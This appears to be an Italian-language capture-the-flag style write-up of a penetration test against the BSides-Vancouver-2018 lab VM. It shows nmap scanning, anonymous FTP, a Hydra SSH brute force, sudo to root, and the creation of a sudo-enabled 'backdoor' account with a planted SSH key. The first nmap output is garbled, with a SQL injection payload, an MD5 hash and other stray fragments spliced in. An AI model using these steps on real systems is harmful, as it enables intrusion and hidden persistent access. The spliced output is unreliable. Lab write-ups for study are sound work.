

# Black Box Penetration Test

## BSides-Vancouver-2018

**Macchina target:** BSides-Vancouver-2018 - ip sconosciuto

**Macchina attaccante:** Kali Linux - 192.168.0.115

**Modalita':** Black box

**Obiettivo:** Diventare utente root in diversi modi

### Informazioni trovate nel corso del pen test:

**ip:** 192.168.0.113

#### porte aperte

- **21/tcp FTP vsftpd/2.3.5**  
Versione storicamente vulnerabile  
Accesso consentito senza credenziali, username=**anonymous**.
- **22/tcp SSH OpenSSH 5.9p1**  
Chiavi host: DSA, RSA ECDSA
- **80/tcp HTTP Apache httpd 2.2.22**  
Versione obsoleta e vulnerabile.  
Trovato file **robots.txt** e **backup\_workpress**

#### profilo SSH

username: anne, password: princess

## Fase 1: Information Gathering

- **Ottenimento ip del target**

Il primo passo e' scannerizzare la rete con nmap per scovare l'ip del target.

**nmap -sN 192.168.0.1/24**

```
Nmap scan report for 192.168.0.113
Host is up (0.00034s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open|filtered ftp    1' UNION SELECT user,password FROM users#
22/tcp    open|filtered ssh    rst name: smithy
80/tcp    open|filtered http    name: 5f4dcc3b5aa765d61d8327deb882cf99
MAC Address: 08:00:27:C8:04:5D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
```

E' stato trovato questo ip sconosciuto 192.168.0.113, e alcuni dei suoi servizi aperti:

- 21/tcp FTP

- 22/tcp SSH
- 80/tcp HTTP
- **Scanning approfondito con parametro "-A"**  
Il parametro -A di nmap abilita l'OS detection, la Version detection, Script scanning e Traceroute.

```
(kali@kali)-[~/Desktop/MODULE_2/M2S2L5_week_project/extra]
$ nmap -A 192.168.0.113
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-10 07:17 EDT
Nmap scan report for 192.168.0.113
Host is up (0.00027s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.5
|_ ftp-syst:
|_   STAT:
|_   FTP server status:
|_   |_ Connected to 192.168.0.115 shellsh
|_   |_ Logged in as ftp
|_   |_ TYPE: ASCII
|_   |_ No session bandwidth limit
|_   |_ Session timeout in seconds is 300
|_   |_ Control connection is plain text
|_   |_ Data connections will be plain text
|_   |_ At session startup, client count was 3
|_   |_ vsFTPD 2.3.5 - secure, fast, stable
|_ End of status
|_ ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ drwxr-xr-x  2 65534  65534  4096 Mar 03 2018 public
22/tcp    open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_   1024 85:9f:8b:58:44:97:33:98:ee:98:b0:c1:85:60:3c:41 (DSA)
|_   2048 cf:1a:04:e1:7b:a3:cd:2b:d1:af:7d:b3:30:e0:a0:9d (RSA)
|_   256 97:e5:28:7a:31:4d:0a:89:b2:b0:25:81:d5:36:63:4c (ECDSA)
80/tcp    open  http     Apache httpd 2.2.22 ((Ubuntu))
|_ http-server-header: Apache/2.2.22 (Ubuntu)
|_ http-title: Site doesn't have a title (text/html).
|_ http-robots.txt: 1 disallowed entry
|_ /backup_wordpress
MAC Address: 08:00:27:C8:04:5D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1   0.27 ms  192.168.0.113

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.73 seconds
```

Si prova il primo accesso al servizio FTP sulla macchina target.

```
(kali@kali)-[~/Desktop/MODULE_2/M2S2L5_week_project/extra]
$ ftp anonymous@192.168.0.113
Connected to 192.168.0.113.
220 (vsFTPD 2.3.5)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

E' stato trovato in /public/ il file [users.txt.bk](#).

Dopo averlo scaricato questo e' il suo contenuto:

```
$ cat users.txt.bk
abatchy
john
mai
anne
doomguy
```

Dopo aver provato ad accedere con uno di questi username a ftp, si nota che il servizio accetta solo login da parte di anonymous, senza password.

Provando hydra anche sul servizio SSH si nota che non accetta password authentication.

```
$ hydra -L users.txt.bk -P /usr/share/wordlists/rockyou.txt 192.168.0.113 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret
service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and
ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-10 10:17:48
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduc
e the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a p
revious session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 86066394 login tries (l:6/p:14344399), ~5379
150 tries per task
[DATA] attacking ssh://192.168.0.113:22/
[ERROR] target ssh://192.168.0.113:22/ does not support password authentication (method reply 4)
```

E' stato fatto un secondo tentativo più mirato, provando a prendere la password di un utente per volta.

L'unico utente abilitato a entrare con password era anne, con password = **princess**.

**hydra -l anne -P /usr/share/wordlists/rockyou.txt -V -f -l -t4 192.168.0.113 ssh**

```
[22][ssh] host: 192.168.0.113 login: anne password: princess
[STATUS] attack finished for 192.168.0.113 (valid pair found)
```

Con queste credenziali e' stato fatto l'accesso via SSH, notando che si possono avere i permessi di root da questo user, facendo cosi' una scalata dei privilegi, potendo leggere anche i file degli altri user.

```

(kali㉿kali)-[~/Desktop/MODULE_2/M2S2L5_week_project/extra] 2L5
$ ssh anne@192.168.0.113
anne@192.168.0.113's password:
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic i686)

 * Documentation:  https://help.ubuntu.com/

382 packages can be updated.
275 updates are security updates.

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sat May 10 09:11:44 2025 from 192.168.0.115
anne@bsides2018:~$ sudo su
[sudo] password for anne:
root@bsides2018:/home/anne# cd ../john
root@bsides2018:/home/john# ls -a -l
total 32
drwxr-xr-x 2 john john 4096 Mar  3  2018 .
drwxr-xr-x 7 root root 4096 Mar  4  2018 ..
-rw-r--r-- 1 john john 220 Mar  3  2018 .bash_logout
-rw-r--r-- 1 john john 3486 Mar  3  2018 .bashrc
-rw-r--r-- 1 john john 8445 Mar  3  2018 examples.desktop
-rw-r--r-- 1 john john 675 Mar  3  2018 .profile
root@bsides2018:/home/john#

```

Ricapitolando, l'accesso come root e' stato ottenuto in questo modo:

1. ottenimento IP target con nmap
2. download di [user.txt.bk](#) dal servizio FTP (autenticandosi come anonymous)
3. ricerca password di anne con hydra
4. accesso a ssh con le credenziali trovate.

## Creazione di una backdoor:

password = "backdoor"

```

root@bsides2018:/home/john# useradd -m -s /bin/bash backdoor
root@bsides2018:/home/john# ls ..
abatchy  anne  backdoor  doomguy  john  mai
root@bsides2018:/home/john# passwd backdoor
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@bsides2018:/home/john# mkdir /home/backdoor/.ssh

```

```

root@bsides2018:/home/john# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQACyGnSTU2YAsB9cvimYbDL/j4
U1utu5GizFbM9fuEnliU2nmbYHDQWPyHS1mP47ujqHHf3k8qjSVk8shnRW/75MihIaYA5wA2UPvBPXN7E0ffZk+u+ETProoP
w7g13PFY0k7Ipsim1BCZxUW4/8FKFMY0t8746Yrhp3bv8lE3hwGGBUuRgA1tSdWCubsVfo4QX3b0Rj8AylY4Bvj/3Gx52v
XpyLmM+KMr1RagP4XyQFzIqETQYPiCPXkvNg3M0Ql+tXZq2t3aQVnSbpeSJhIS9FPkrU+/A9SH/dtnvsJasGdjzqb/NKEDUt
W+1etcEg47XU6lE5Gu3WJIT+J7vsqPh+rNWgurpc3tGKq+6j7E0K0leUvGRoN61nKjrgD/RV6bTyd0cJlsLF8PRkRovLEH/0
+03gTnlVwB2xkQ4FzrnnGihNKKvn9gNojXNVjzGhSJT8MRHN6bf+I9A/Pq6ob3ULHVADZZsNfaXGxb4vcK66EngiXrFCODqM
vvSpKYXa43tZVWzBSXhlMHnkud9Ri50L/Q+4MhW+fSMgDd008UKTG4m0+0LgAZSziTNB0xNVjyLinb2Vlq3NX6a7leUn/sC6
/FGxWY9d+upH+R4lR2My10C8nyvK71c9r8hZiydVbS0zy9LkJ2qV0kV/v/P5EE6Uui7rpyeIyQc/iyyo8IBw== hacker_em
ail@email.com" > /home/backdoor/.ssh/authorized_keys
root@bsides2018:/home/john# chown -R backdoor:backdoor /home/backdoor/.ssh
No command 'chown' found, did you mean:
Command 'chown' from package 'coreutils' (main)
chown: command not found
root@bsides2018:/home/john# chown -R backdoor:backdoor /home/backdoor/.ssh
root@bsides2018:/home/john# chmod 700 /home/backdoor/.ssh
root@bsides2018:/home/john# chmod 600 /home/backdoor/.ssh/authorized_keys

```

In seguito l'utente backdoor e' stato aggiunto al gruppo "sudo" tramite il comando:

`root@bsides2018:/etc# sudo usermod -a -G sudo backdoor`

```
backdoor@bsides2018:~$ sudo su
[sudo] password for backdoor:
root@bsides2018:/home/backdoor#
```